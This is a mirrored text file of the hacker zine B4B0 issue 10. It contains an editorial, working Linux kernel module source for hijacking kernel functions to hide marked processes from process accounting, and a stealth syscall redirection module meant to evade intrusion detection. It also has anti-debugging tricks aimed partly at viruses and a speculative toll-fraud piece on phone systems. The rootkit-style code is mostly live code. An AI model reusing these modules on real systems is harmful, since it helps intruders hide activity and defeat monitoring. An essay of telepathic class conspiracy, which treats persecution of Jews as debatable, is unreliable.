mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
1906 lines
62 KiB
Text
1906 lines
62 KiB
Text
[ ! ] @#b4b0!@#b4b0!@#b4b0!#@b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@# [ ! ]
|
|
|
|
[ Note: This is one of the lost issues of B4B0 (the other being ]
|
|
[ issue 4, which has become inextricably lost). Most of this ]
|
|
[ material is pretty old, and we got lazy (except for silvio). ]
|
|
[ This is (was) the last issue of B4B0. ]
|
|
|
|
|
|
http://www.b4b0.org
|
|
|
|
|
|
Mischief. Mayhem. B4B0.
|
|
|
|
.ad888bo 88888 .ad8888b .a888888888o. .a88888 a888b
|
|
`88888 888888 `88888 8888888888888 `888 88 88
|
|
88888 8888888 88888 8888888888888 888 88 88
|
|
88888 88888888 88888 88888 88888 888 88 88
|
|
88888 8888 8888 88888 88888 8 88888 888 88 88
|
|
8888888888b. 888888888888b 8888888888b. 88888 8 88888 888 `888'
|
|
888888888888 8888888888888 888888888888 88888 88888
|
|
88888 888 8888 88888 888 8888888888888
|
|
888888888888 8888 888888888888 8888888888888
|
|
`888888888P' 8888b `8888888888' `8888888888P' kkr
|
|
`8888
|
|
|
|
"The best times are not forgotten, yet time
|
|
remains still when I am one with the Party
|
|
Programme." - Nathan Chalmers, 1999
|
|
|
|
(c) 2000 The B4B0 Party Programme
|
|
|
|
- thepartyprogrammehasspokenthepartyprogrammehasspokenthepartyprogrammehas -
|
|
|
|
The Resurrection of Vice
|
|
The Liberation of Ideals and Truths
|
|
|
|
|
|
_/@#$%@#$%@#$%@#$%@#$%@#$%\_
|
|
-+$#@< The Voice of a New Tommorrow >@#$+-
|
|
-\@#$%@#$%@#$%@#$%@#$%@#$%/-
|
|
|
|
sEEl-vEE-0h .................................................. Silvio Cesare
|
|
tEEp ....................................................... Abraham Johnson
|
|
ge0rge ...................................................... George Peppard
|
|
phFh4Ck3r ................................................... Johann Bachman
|
|
gRE-0p ........................................................ Ian McKlusky
|
|
thE MiLk .................................................... Mike Gruberman
|
|
kuR4cK .......................................................... Sean Horny
|
|
aH-lEHck ....................................................... Alec Eiffel
|
|
sEEgn4l ............................................... "Fast Delivery" Jake
|
|
jEEmEE ......................................................... Jimmy Fuchs
|
|
tYE-mAHt ....................................................... John Hammer
|
|
hIE-bRIhD ..................................................... Shabba Ranks
|
|
|
|
|
|
_/@#$%@#$%@#$%@#$\_
|
|
-+$#@< Writers and Artists >@#$+-
|
|
-\@#$%@#$%@#$%@#$/-
|
|
|
|
B4B0 Staff ....................................................... See above
|
|
ep1d ........................................................ Eugene Thuston
|
|
exitt ........................................................ Patrick Dumas
|
|
kkr .......................................................... Orko Richards
|
|
smiler .................................................... Christian Hormel
|
|
|
|
|
|
Letters, comments, submissions: letters@b4b0.org
|
|
|
|
|
|
[ ! ] @#b4b0!@#b4b0!@#b4b0!#@b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@# [ ! ]
|
|
|
|
|
|
! B 2 K !
|
|
-+ The B4B0 Party Programme +-
|
|
Issue 10
|
|
|
|
"Will 10 ever get released?"
|
|
|
|
|
|
- B P P - [!@#$#@!] Table of Contents [!@#$#@!] - B P P -
|
|
|
|
[ B ]=-=[ 01 ] Editorial ............................................. silvio
|
|
[ 4 ]=-=[ 02 ] Statement of Intent ...................... the party programme
|
|
[ B ]=-=[ 03 ] Kernel Function Hijacking (Linux) ..................... silvio
|
|
[ 0 ]=-=[ 04 ] An ATM Primer ........................................... alec
|
|
[ B ]=-=[ 05 ] Stealth Syscall Redirection (Linux) ................... silvio
|
|
[ 4 ]=-=[ 06 ] Comdial Phone System Analysis ........................... ep1d
|
|
[ B ]=-=[ 07 ] Oppression and Society ................................ silvio
|
|
[ 0 ]=-=[ 08 ] Ascend TNT Caller ID Fun ................................ alec
|
|
[ B ]=-=[ 09 ] Anti-Debugging Techniques (Linux) ..................... silvio
|
|
[ 4 ]=-=[ 10 ] Elf Executable Reconstruction from a Core Image ....... silvio
|
|
[ B ]=-=[ 11 ] Mailbag .................................. the party programme
|
|
[ 0 ]=-=[ 12 ] Multiplatforum FreeBSD/Linux Binaries ................. silvio
|
|
[ B ]=-=[ 13 ] Siilov Virus .......................................... silvio
|
|
[ 4 ]=-=[ 14 ] In Conclusion ............................ the party programme
|
|
|
|
|
|
[ *!%!@#*!@# ] Attached Juarez 'juarez' directory
|
|
|
|
[ B ]=-=[ 01 ] ELF Magic and Madness (egg.tgz) ....................... smiler
|
|
[ 4 ]=-=[ 02 ] Ltrace (ltrace-0.3.8-opt-l.tgz) ....................... silvio
|
|
[ B ]=-=[ 03 ] Fping (fping-async-dns.tgz) ........................... silvio
|
|
[ 0 ]=-=[ 04 ] Siilov x86 Linux Virus (siilov.bin) ................... silvio
|
|
[ B ]=-=[ 05 ] Siilov source (siilov-src.c) .......................... silvio
|
|
[ 4 ]=-=[ 06 ] Hamburglorz issues 1 and 2 (hamb.tgz) .................. chrak
|
|
|
|
|
|
B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0
|
|
[!@#$#@!][!@#$#@!][!@#$#@!][!@#$#@!][.1.][!@#$#@!][!@#$#@!][!@#$#@!][!@#$#@!]
|
|
B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0
|
|
|
|
|
|
~!@#~!@#~!@#~
|
|
! Editorial ! silvio
|
|
~!@#~!@#~!@#~
|
|
|
|
|
|
<mrlore/#b4b0> silvio, u can't code.
|
|
|
|
Here we go again with another issue of B4B0, this time number 10. This is
|
|
my first issue in the role of editor so hopefully everyone will be happy
|
|
with the result. I've even gone to the effort of contributing more articles
|
|
than seems sane by one person in one issue, so no complaints that I've been
|
|
slack or don't take this position seriously! LETS BRING B4B0 BACK TO LIFE!
|
|
|
|
1) Let's talk about worm paradigms. Exactly, why must we use exploits to
|
|
gain access to remote hosts? I don't think we have too. Let's look at unix
|
|
viruses, if you're a subscriber to unix-virus then you've seen my posts on
|
|
fully resident user viruses using the debugging system call ptrace in Linux
|
|
to hijack lib functions in all processes the user has access too. Then why
|
|
not stay resident as the user ventures out into remote hosts. This means
|
|
that a virus can become a worm and soon we find that worms as we know them
|
|
are no longer. If you subscribe to unix-virus long enough, then you might
|
|
see a few viruses or worms like this (I have only about a million things to
|
|
implement in a virus before then - like polymorphism, full residency and
|
|
stealth to name a few of the things yet to do).
|
|
|
|
2) Let's talk about secure programming techniques. For starters, why do
|
|
programs make the entire code set user id or set group id when only 1% of
|
|
the program actually NEEDS privaledges. The same for daemons. For example,
|
|
let's look at a simple application, identd in a restricted proc file system.
|
|
Now, this is probably not a major application of secure programming
|
|
techniques, but it's a good base. Let's ignore rc files etc, and focus on
|
|
getting access to /proc/net/tcp which is not readable unless your in a
|
|
special group. The easy method is to make the identd run as that group.
|
|
Now, this isnt secure programming. Because if you compromise the daemon,
|
|
you gain access to ALL of the proc file system. A more secure method, is
|
|
have the daemon fork and in one process open /proc/net/tcp on behalf of the
|
|
main daemon process using file descriptor passing. Now, if we compromise
|
|
the main daemon we can only look at /proc/net/tcp. Instead, to gain full
|
|
proc privs we have to compromise the small split process which can be made
|
|
extremely (heh) secure because it's so small and not insignificant simple.
|
|
Let's look at a similar example, traceroute/ping/fping all require root
|
|
privs because they access raw sockets. In Linux 2.2 we can use capabilities
|
|
to implement this without full root access, but a more portable solution is
|
|
to have a socket daemon which opens raw sockets for users in a special
|
|
group (via file descriptor passing). The programs requiring raw socket
|
|
access communicate to the daemon via a unix domain socket which is only
|
|
accessable by this special group. Actually we can make this more fine
|
|
grained than group access depending on file system implementation. Then
|
|
we make the programs using the socket daemon sgid this group (or whatever).
|
|
The programs then run without root privs. Compromising the socket daemon
|
|
is a harder task because it only specializes in small specifics. The only
|
|
problem is that we must have a daemon running, but for extra security it
|
|
might be worth it.
|
|
|
|
Following up on this idea, let's try to eliminate SUID/SGID all together.
|
|
Now, this idea wasnt originally mine (though i did arrive to it
|
|
independently), in fact Dan Bernstein proposed this idea in Bugtraq last
|
|
year. Let's look at a little of the shadow suite, and also some mail user
|
|
agents that do dotlock mailbox locking. Now, from the shadow suite we have
|
|
passwd/chfn/chsh which modify /etc/passwd and /etc/shadow and hence need
|
|
root access. Why however must the entire bin be given root access? After
|
|
all, when your gathering user input, or parsing such input, do you really
|
|
need root? Let's instead, write a small daemon that can change those files
|
|
for us, make it accessable though a world writeable unix domain socket (so
|
|
we can all communicate with the daemon without special privs). To
|
|
authenticate we can pass our usernamd and password to the daemon, but what
|
|
if we try to change someone elses information and we have the right login?
|
|
In the original bins, we cant do this. We can make out daemon follow this
|
|
behaviour by using credentials for the connection. This technique allows
|
|
you to determine the user connected to the socket. So we just ignore
|
|
requests to modify information if the real uid doesnt match the uid
|
|
requested (unless the real uid is root). The only problem, is that this
|
|
isn't really portable. Linux has SO_PEERCRED, FreeBSD has its own CRED
|
|
passing, Solaris has DOORS.. BUT, maybe we can determine the uid anyway.
|
|
If as a user we have a file only we can read, and we pass that file
|
|
descriptor to the daemon, the daemon knows who we are by checking the
|
|
ownership and permissionon that file. I havent implemented fd passing
|
|
credentials, but it sure seems interesting. Mailbox locking again, follows
|
|
a similar line. Mailbox locking creates a .lock file in /var/spool/mail
|
|
(let's assume this anyway), so we need mail group access to create a new
|
|
file in that directory. So let's have a daemon that creates lock files
|
|
based on the uid of the person connection to the daemon. The result is that
|
|
we can eliminate SUID/SGID from many programs. Why exactly is removing
|
|
SUID/SGID and replacing with a daemon better though? As described in
|
|
Bugtraq, daemons allow for very limited interaction with the user, a very
|
|
narrow channel which can be stringently protected. In SUID/SGID you have
|
|
very limited control over what the user can do to interact. From the
|
|
environment and arguments, to externally linked libraries or program
|
|
tracing. For example, the RESOLV_HOST_CONF bug of several years ago would
|
|
never have been exploitable using a daemon, simply because you couldn't
|
|
change the daemons environment.
|
|
|
|
I really think i need to write a real article on secure programming using
|
|
these techniques.
|
|
|
|
ONE LAST TOPIC: Probably the most important, mental telepathy and
|
|
oppression. I have written a very brief introduction to the oppression of
|
|
society in this b4b0 issue, and its short enough that you should all be
|
|
able to read it and make a more informed decision of wether you are truely
|
|
oppressed. Let's be hypothetical and say you believe as I do, as you
|
|
really are, that you are oppressed, but feel that we are merely pawns, or
|
|
cogs in the system. Let's look at history, all great movements had to start
|
|
somewhere. Individuals have made great change this world such as Ghandi,
|
|
Malcom-X, Nelson Mandella, or to the other extreme, Hitler. I say change
|
|
is possible, but only possible if your willing to try even in the face of
|
|
certain defeat.
|
|
|
|
[ Most Underated Debugging Tool ............ ] -----> /usr/bin/objdump
|
|
[ Most Poorly Documented But Useful Library ] -----> BFD
|
|
|
|
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|
|
|
Email b4b0! : letters@b4b0.org
|
|
Submit to b4b0! : submissions@b4b0.org
|
|
View b4b0! : http://www.b4b0.org
|
|
|
|
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
|
|
~!@#~!@#~!@#~!@#~!@#~!@
|
|
! Statement of Intent ! the party programme
|
|
~!@#~!@#~!@#~!@#~!@#~!@
|
|
|
|
|
|
The B4B0 Party Programme
|
|
|
|
Date formed: Unknown, estimated in the early 1970's.
|
|
|
|
Estimated Membership: As few as ten, possibly thousands.
|
|
|
|
Headquarters: The Socialist Republic of America, locale unknown; formerly
|
|
based somewhere in the Midwest United States. Embassies and consuls
|
|
worldwide.
|
|
|
|
Area of Operations: Worldwide.
|
|
|
|
Leadership:
|
|
|
|
Other Names: B4B0, Babo, Bah-Boh, The Party Programme,
|
|
|
|
Sponsors: Unknown.
|
|
|
|
Political Objectives/Target Audiences:
|
|
|
|
Background:
|
|
|
|
|
|
Statement of Intent: B4B0
|
|
|
|
INSERT: statement
|
|
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
____
|
|
/ \ -----------
|
|
c=='--\-/-- / B4B0 owns \
|
|
| @ @ | / you kiddies!/ <----- r4lph in his earlier days
|
|
\ _`_ / ;/------------
|
|
\\_//
|
|
-,-
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
|
|
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~
|
|
! Kernel Function Hijacking ! silvio
|
|
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~
|
|
|
|
|
|
INTRODUCTION
|
|
|
|
This article describes a method of hijacking internal kernel functions, that
|
|
is, kernel functions that are declared inside the kernel without a function
|
|
pointer or vector for changing the kernel function it points too. This can
|
|
have practical uses, as given in example code which patches the process
|
|
accounting code to not log specially marked processes (processes given
|
|
signal 31).
|
|
|
|
KERNEL FUNCTION HIJACKING
|
|
|
|
The basic premise for this attack is to replace the first bytes of the
|
|
original function with an asm jump to the replacement jump. The algorithm
|
|
follows:
|
|
|
|
In init_module...
|
|
|
|
* save the first 7 bytes of the original function for later use
|
|
* set the new jump code to point to the replacement function
|
|
* replace the first 7 bytes of the original function with a jump
|
|
|
|
In cleanup_module...
|
|
|
|
* restore the bytes of the original function with the saved copy
|
|
|
|
In the replacement function...
|
|
|
|
* do the payload
|
|
for calling the old function...
|
|
* restore the bytes of the original function with the saved
|
|
copy
|
|
* call the original function
|
|
* replace the first 7 bytes of the original function with a
|
|
jump
|
|
|
|
The asm jump used is an indirect jump... This means no messing around with
|
|
calculating offsets.
|
|
|
|
movl $address_to_jump,%eax
|
|
jmp *%eax
|
|
|
|
THE IMPLEMENTED EXAMPLE
|
|
|
|
The example code patches acct_process in kernel/sys.c which accounts for
|
|
process accounting. Normally, you cannot redirect acct_process, but this
|
|
does all the logging for process accounting, so we hijack the function to
|
|
control process logging.
|
|
|
|
The code works by waiting for a kill -31 to a process, when this is recieved,
|
|
the replacement kill syscall sets a bit in the process flags that marks the
|
|
process as not to be logged by process accounting. This technique is ideal
|
|
as when the process forks, the process flags are copied, so children remaing
|
|
log free aswell. The heart of the code is in _acct_process which looks at
|
|
the process flags and if marked not to be logged, returns without calling
|
|
the original acct_process.
|
|
|
|
The acct_process variable must be assigned the correct address of the
|
|
function in the kernel. Typically, this is found in System.map but if no
|
|
map is present then the techniques described in my paper RUNTIME KERNEL
|
|
KMEM PATCHING (http://www.big.net.au/~silvio) may be used.
|
|
|
|
-- acct_nolog.c (Linux 2.0.35)
|
|
|
|
#include <linux/config.h>
|
|
#include <linux/kernel.h>
|
|
#include <linux/module.h>
|
|
#include <linux/version.h>
|
|
#include <linux/utsname.h>
|
|
#include <linux/string.h>
|
|
#include <linux/sched.h>
|
|
#include <asm/string.h>
|
|
#include <asm/unistd.h>
|
|
|
|
/*
|
|
change this to the correct address, which can be found in System.map
|
|
*/
|
|
|
|
int (*acct_process)(int) = (int (*)(int))0x00114520;
|
|
|
|
#define CODESIZE 7
|
|
|
|
#define NOLOG_SIGNAL 31
|
|
#define NOLOG_PF 0x10000000
|
|
|
|
static char original_acct_code[7];
|
|
static char acct_code[7] =
|
|
"\xb8\x00\x00\x00\x00" /* movl $0,%eax */
|
|
"\xff\xe0" /* jmp *%eax */
|
|
;
|
|
int (*original_kill)(pid_t, int);
|
|
|
|
extern void *sys_call_table[];
|
|
|
|
void *_memcpy(void *dest, const void *src, int size)
|
|
{
|
|
const char *p = src;
|
|
char *q = dest;
|
|
int i;
|
|
|
|
for (i = 0; i < size; i++) *q++ = *p++;
|
|
|
|
return dest;
|
|
}
|
|
|
|
int _acct_process(long exitcode)
|
|
{
|
|
if (!(current->flags & NOLOG_PF)) {
|
|
int ret;
|
|
|
|
_memcpy(acct_process, original_acct_code, CODESIZE);
|
|
ret = acct_process(exitcode);
|
|
_memcpy(acct_process, acct_code, CODESIZE);
|
|
return ret;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
struct task_struct *find_task(pid_t pid)
|
|
{
|
|
struct task_struct *task = current;
|
|
|
|
do {
|
|
if (task->pid == pid) return task;
|
|
task = task->next_task;
|
|
} while (task != current);
|
|
|
|
return NULL;
|
|
}
|
|
|
|
int _kill(pid_t pid, int sig)
|
|
{
|
|
if (sig == NOLOG_SIGNAL) {
|
|
struct task_struct *task;
|
|
|
|
task = find_task(pid);
|
|
if (task == NULL) return - ESRCH;
|
|
|
|
task->flags |= NOLOG_PF;
|
|
return 0;
|
|
}
|
|
return original_kill(pid, sig);
|
|
}
|
|
|
|
int init_module(void)
|
|
{
|
|
original_kill = sys_call_table[__NR_kill];
|
|
sys_call_table[__NR_kill] = _kill;
|
|
*(long *)&acct_code[1] = (long)_acct_process;
|
|
_memcpy(original_acct_code, acct_process, CODESIZE);
|
|
_memcpy(acct_process, acct_code, CODESIZE);
|
|
return 0;
|
|
}
|
|
|
|
void cleanup_module(void)
|
|
{
|
|
sys_call_table[__NR_kill] = original_kill;
|
|
_memcpy(acct_process, original_acct_code, CODESIZE);
|
|
}
|
|
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
"Reading B4B0 gave me inspiration to
|
|
kick the habit. I mean, those colors
|
|
truly tasted like music." - Scott Baio
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
|
|
MISSING: ATM PRIMER
|
|
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!
|
|
B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0
|
|
!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B4B0!B
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
|
|
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@
|
|
! Syscall Redirection Without Modifying the Syscall Table ! silvio
|
|
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@
|
|
|
|
|
|
This article describes a technique of redirecting system calls without
|
|
modifying the sys call table (implemented in Linux). This can be used to
|
|
evade intrusion detection systems that use the sys call table to register
|
|
redirected or trojaned system calls. It is however an easy modifcation to
|
|
make to detect the attack implemented in this article. The basic premise
|
|
behind this attack is to modify the old system call code to jump to the new
|
|
system call, thus control is transferred to the replacement system call and
|
|
the sys call table is left untouched. If this is the only procedure carried
|
|
out, the old system call is left in a clobbered state, and is dangerous to
|
|
execute, so the original code is saved and when the system call is made.
|
|
The original code replaces the jump and the system call acts as normal.
|
|
After this, the jump can then be inserted (overwritten) again waiting for
|
|
the next use. Detecting this attack means that the first few bytes of the
|
|
original system calls should be saved and then compared to verify that
|
|
indeed the original system call is in place.
|
|
|
|
|
|
-- stealth_syscall.c (Linux 2.0.35)
|
|
|
|
#include <linux/config.h>
|
|
#include <linux/kernel.h>
|
|
#include <linux/module.h>
|
|
#include <linux/version.h>
|
|
#include <linux/utsname.h>
|
|
#include <linux/string.h>
|
|
#include <asm/string.h>
|
|
#include <asm/unistd.h>
|
|
|
|
#define SYSCALL_NR __NR_uname
|
|
|
|
static char syscall_code[7];
|
|
static char new_syscall_code[7] =
|
|
"\xbd\x00\x00\x00\x00" /* movl $0,%ebp */
|
|
"\xff\xe5" /* jmp *%ebp */
|
|
;
|
|
|
|
extern void *sys_call_table[];
|
|
|
|
void *_memcpy(void *dest, const void *src, int size)
|
|
{
|
|
const char *p = src;
|
|
char *q = dest;
|
|
int i;
|
|
|
|
for (i = 0; i < size; i++) *q++ = *p++;
|
|
|
|
return dest;
|
|
}
|
|
|
|
/*
|
|
uname
|
|
*/
|
|
|
|
int new_syscall(struct new_utsname *buf)
|
|
{
|
|
printk(KERN_INFO "UNAME - Silvio Cesare\n");
|
|
_memcpy(
|
|
sys_call_table[SYSCALL_NR], syscall_code,
|
|
sizeof(syscall_code)
|
|
);
|
|
((int (*)(struct new_utsname *))sys_call_table[SYSCALL_NR])(buf);
|
|
_memcpy(
|
|
sys_call_table[SYSCALL_NR], new_syscall_code,
|
|
sizeof(syscall_code)
|
|
);
|
|
}
|
|
|
|
int init_module(void)
|
|
{
|
|
*(long *)&new_syscall_code[1] = (long)new_syscall;
|
|
_memcpy(
|
|
syscall_code, sys_call_table[SYSCALL_NR],
|
|
sizeof(syscall_code)
|
|
);
|
|
_memcpy(
|
|
sys_call_table[SYSCALL_NR], new_syscall_code,
|
|
sizeof(syscall_code)
|
|
);
|
|
return 0;
|
|
}
|
|
|
|
void cleanup_module(void)
|
|
{
|
|
_memcpy(
|
|
sys_call_table[SYSCALL_NR], syscall_code,
|
|
sizeof(syscall_code)
|
|
);
|
|
}
|
|
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
silvio: insert text or graphic here.
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
|
|
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!
|
|
! Possible Flaw in Comdial Phone Systems ! ep1d
|
|
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!
|
|
|
|
|
|
#$ Introduction
|
|
|
|
First off I would like to state that anything stated here
|
|
is for educational purposes only. Also that my ideas that are
|
|
listed here may or may not work. I will explain both sides of
|
|
my theory, to help anyone better understand what is going on
|
|
and to maby fill me in on anything they know.
|
|
|
|
#$ Theory
|
|
|
|
My theory results in the ability to making free phone
|
|
calls via comadial phone systems, but may also cover other types
|
|
of phone systems. The thought behind this is that, each
|
|
outbound line has a extension that can be reached while someone
|
|
is inside of the phone systems. It may not be a standard extension
|
|
but it would still be reachable. If the phone systems runs the
|
|
same concept as the comdial phone systems it may be vulnerable
|
|
to this.
|
|
|
|
#$ Concept
|
|
|
|
The Comdial Impact phones are the only phones I have experience
|
|
with and they are setup like, 12 - 24 buttons on the right hand
|
|
side. On our phone system 6 are lines, 1 is to the vmail backdoor,
|
|
1 to xfer vmail, 1 to vmail, and 1 to page.
|
|
|
|
#$ It May
|
|
|
|
The thought behind why it may work is, you can dial into the
|
|
phone system from the outside via the vmail backdoor. Once you
|
|
are into the phone system you can act as you are a phone on the
|
|
system. If you found out the correct extensions to each line that
|
|
the phone must put out, you would be able to access the outbound
|
|
lines, therefor creating a "bounce". The hardest part about doing
|
|
this is finding the vmail backdoor, and the extensions of the lines.
|
|
I am pretty sure once the extensions are found, they are probably
|
|
the same where ever else you look.
|
|
|
|
#$ It May Not
|
|
|
|
My theory in general may just be all wrong. The phones may
|
|
have direct access to the system, and just opens up a current to
|
|
the switchboard and takes over the line. The vmail backdoor may
|
|
just be accessed the same way. You can reach the lines from the
|
|
outside world also, and it would ring into the phone, same as what
|
|
the vmail backdoor does.
|
|
|
|
#$ Conclusion
|
|
|
|
The question still stands, is this possible? I would love
|
|
to recive any more information on this as you can think of please
|
|
email it to me at josh@bigcity.net.
|
|
|
|
#$ EOF
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
Did You Know?
|
|
|
|
Original B4B0 jsbach is an accomplished instrument player
|
|
and has a wide collection of flutes.
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
|
|
~!@#~!@#~!@#~!@#~!@#~!@#~!
|
|
! Oppression and Society ! silvio
|
|
~!@#~!@#~!@#~!@#~!@#~!@#~!
|
|
|
|
|
|
As everyone knows we have three distinct classes in society, all directly
|
|
a result of telepathic abilities - lower, middle and ruling classes. The
|
|
middle class can telepathically read the thoughts of the lower class and
|
|
the ruling class, but the ruling class can selectively determine what the
|
|
middle class can read of themselves. The ruling class can also read the
|
|
thoughts of the lower class and can apply telepathic abilities to this class
|
|
through other methods such as physical and subliminal influence. The lower
|
|
and middle classes are often referred to as "cats" or "dogs".
|
|
|
|
These classes are indirectly related to normal classes within out capitalist
|
|
society. The telepathic lower class has higher poverty, higher crime,
|
|
higher substance abuse and so forth. This can be attributed to telepathic
|
|
class, as the ruling class would have you believe, or we can see the
|
|
situation in its true lighting, as a case of simply being an oppressed class
|
|
and exhibiting the typical behavior of an oppressed people. The lower and
|
|
ruling class is the minority as expected, and the middle class is the
|
|
majority. The lower class has long been considered the genetic inferior,
|
|
however this is merely a prejudice created by the ruling class for
|
|
maintaining control over the masses - the middle class.
|
|
|
|
There are multiple definitions of oppression, but all suggest the unjust
|
|
exercise of power or being heavily weighed down in mind or body. The
|
|
lower class is obviously oppressed, as cruel and arbitrary power is
|
|
exercised. The lower class is indoctrined with a slave ideology that
|
|
subordinates them to the rest of society.
|
|
|
|
The real exploitation and oppression is not so obvious. It is the
|
|
oppression of the masses, the middle class. The simple definition of
|
|
freedom is the ability to exercise choice or free will. In a free society,
|
|
while crime is not permitted, the thought of crime or discussion of the law
|
|
still exists because people can exercise free choice and are able to think
|
|
on their own. Hence, while all ideas are not desirable, such as those
|
|
which break the law, it shows that a society is truly free by allowing the
|
|
law to be analyzed. At the same time, while lack of this demonstrates an
|
|
enslaved society, the existence of opposition to the law does not always
|
|
demonstrate a free society.
|
|
|
|
In an enslaved society, we all think and behave the same. Indeed, as George
|
|
Orwell suggested, in such a society the ability to think outside the ruling
|
|
ideology (the ideology of the ruling class to perpetuate its own rule) will
|
|
eventually become impossible. The fact is we live in such a society today.
|
|
The middle class is being oppressed because it cannot express their choice,
|
|
even verbally. The middle class has indeed been indoctrined to believe
|
|
exactly what the ruling class dictates. Even if the ideology is obviously
|
|
true, freedom has been removed, because the ability to question it has been
|
|
removed.
|
|
|
|
Even though society agrees as a whole of certain points of view, one does not
|
|
have to look far to see an opposite standing of every topic imaginable. Look
|
|
at pedophilia or even the persecution of the Jews, views that have opinions
|
|
on both sides no-matter how obvious the truth is.
|
|
|
|
The middle class has been indoctrined to consider the lower class the enemy.
|
|
Looking back throughout history, such a scenario isn't new. For centuries,
|
|
minority groups have been oppressed by the middle class, whom are in turn
|
|
indoctrined to these beliefs by the ruling class. By displacing the cause
|
|
of society's problems on these scapegoats, the ruling class can provide the
|
|
solution to a utopic society and maintain the status quo.
|
|
|
|
Oppression does not necessarily dictate what a person must do, it dictates
|
|
what a person must not do. If the middle class decided that they would not
|
|
follow the doctrines, would you expect an equal cruel and arbitrary exercise
|
|
of power on behalf of the ruling class? The lower class is oppressed, but
|
|
the middle class is equally repressed.
|
|
|
|
The solution to this, is not one of physical force, but of knowledge and
|
|
awareness. Discuss the ruling ideology, express an opposing stance if you
|
|
desire, or yell out its value. This is the only way you can actually
|
|
demonstrate free choice in a society that supposedly is designed for the
|
|
people, not for the minority rulers.
|
|
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
INSERT: graphic
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
MISSING: Ascend TNT Caller ID Fun
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
INSERT: graphic
|
|
|
|
x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x
|
|
|
|
|
|
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~
|
|
! Linux Anti-Debugging Techniques (Fooling the Debugger ! silvio
|
|
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~
|
|
|
|
|
|
TABLE OF CONTENTS
|
|
-----------------
|
|
|
|
INTRODUCTION
|
|
FALSE DISASSEMBLY
|
|
DETECTING BREAKPOINTS
|
|
SETTING UP FALSE BREAKPOINTS
|
|
DETECTING DEBUGGING
|
|
|
|
|
|
INTRODUCTION
|
|
------------
|
|
|
|
This article describes anti debugger techniques for x86/Linux (though some
|
|
of these techniques are not x86 specific). That is techniques to either
|
|
fool, stop, or modify the process of debugging the target program. This
|
|
can be useful to the development of viruses and also to those implementing
|
|
software protection.
|
|
|
|
|
|
FALSE DISASSEMBLY
|
|
-----------------
|
|
|
|
This elegant technique produces false disassembly when listed. It produces
|
|
this by jumping into the middle of instruction. The real code starts in the
|
|
middle of this instruction, but the disassembly uses the entire instruction
|
|
and thus continues disassembly not alligned to the real assembly.
|
|
|
|
jmp antidebug1 + 2
|
|
antidebug1:
|
|
.short 0xc606
|
|
call reloc
|
|
reloc:
|
|
popl %esi
|
|
jmp antidebug2
|
|
antidebug2:
|
|
addl $(data - reloc),%esi
|
|
movl 0(%esi),%edi
|
|
pushl %esi
|
|
jmp *%edi
|
|
data:
|
|
.long 0
|
|
|
|
--
|
|
|
|
$ objdump -d a.out
|
|
|
|
.
|
|
.
|
|
.
|
|
|
|
8048340: 55 pushl %ebp
|
|
8048341: 89 e5 movl %esp,%ebp
|
|
8048343: eb 02 jmp 0x8048347
|
|
8048345: 06 pushl %es
|
|
8048346: c6 e8 00 movb $0x0,%al
|
|
8048349: 00 00 addb %al,(%eax)
|
|
